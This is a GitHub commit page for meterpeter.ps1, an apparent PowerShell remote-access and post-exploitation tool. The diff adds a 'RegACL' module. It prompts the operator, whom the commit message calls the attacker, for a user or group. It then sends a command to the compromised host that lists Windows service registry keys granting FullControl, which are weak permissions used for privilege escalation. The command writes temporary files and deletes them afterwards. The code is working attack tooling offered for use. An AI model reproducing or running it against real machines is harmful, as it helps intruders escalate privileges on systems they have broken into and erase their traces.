Skip to content

Commit

Permalink
Update meterpeter.ps1
Browse files Browse the repository at this point in the history
AdvInfo -> ListPriv -> RegACL { Search in Registry HKLM for weak service permissions }
- This Module will ask attacker to input the User\Group ('Owner of the process') and List all HKLM Registry service permitions that contains the flag 'FullControl' (if found any) ..
  • Loading branch information
r00t-3xp10it committed Mar 19, 2020
1 parent fdb691d commit a3ab955
Showing 1 changed file with 7 additions and 2 deletions.
9 changes: 7 additions & 2 deletions meterpeter.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -497,14 +497,19 @@ While($Client.Connected)
}
If($my_choise -eq "RegACL" -or $my_choise -eq "acl")
{
write-host " List Remote-Host Services registry permissions." -ForegroundColor Blue -BackgroundColor White;Start-Sleep -Seconds 1;write-host "`n`n";
$Command = "get-acl HKLM:\System\CurrentControlSet\services\*|Select-Object PSChildName,Owner,AccessToString,Path|format-list `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
write-host " List Remote-Host Weak Services registry permissions." -ForegroundColor Blue -BackgroundColor White;Start-Sleep -Seconds 1;
write-host " - Sellect User\Group (NT AUTHORITY\SYSTEM|BUILTIN\Users): " -NoNewline;
$Group_Attr = Read-Host;write-host "`n";
If(-not ($Group_Attr) -or $Group_Attr -eq " "){$Group_Attr = "BUILTIN\Users"};
#$Command = "get-acl HKLM:\System\CurrentControlSet\services\*|Select-Object PSChildName,Owner,AccessToString,Path|format-list `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
$Command = "Get-acl HKLM:\System\CurrentControlSet\services\*|Select-Object PSChildName,Owner,AccessToString,Path|Where-Object{`$_.Owner -contains `"$Group_Attr`"}|format-list|Out-File -FilePath `$env:tmp\acl.txt -Force;((Get-Content -Path `$env:tmp\acl.txt -Raw) -Replace `"CREATOR OWNER Allow 268435456`",`"`")|Set-Content -Path `$env:tmp\acl.txt -Force;Get-Content `$env:tmp\acl.txt|select-string PSChildName,Owner,FullControl,Path|Out-File -FilePath `$env:tmp\acl2.txt -Force;`$Chk = Get-Content `$env:tmp\acl2.txt|findstr `"FullControl`";If(-not (`$Chk)){echo `" [i] None Vulnerable Service(s) Found that [ allow FullControl ] ..`" `> `$env:tmp\dellog.txt;Get-Content `$env:tmp\dellog.txt;Remove-Item `$env:tmp\dellog.txt -Force;Remove-Item `$env:tmp\acl.txt -Force;Remove-Item `$env:tmp\acl2.txt -Force}else{Get-Content `$env:tmp\acl2.txt;Remove-Item `$env:tmp\acl.txt -Force;Remove-Item `$env:tmp\acl2.txt -Force}";
}
If($my_choise -eq "Return" -or $my_choise -eq "return" -or $my_choise -eq "cls" -or $my_choise -eq "Modules" -or $my_choise -eq "modules" -or $my_choise -eq "clear")
{
$RfPath = $Null;
$Command = $Null;
$my_choise = $Null;
$Group_Attr = $Null;
}
}
If($choise -eq "ListDriv" -or $choise -eq "driv")
Expand Down

0 comments on commit a3ab955

Please sign in to comment.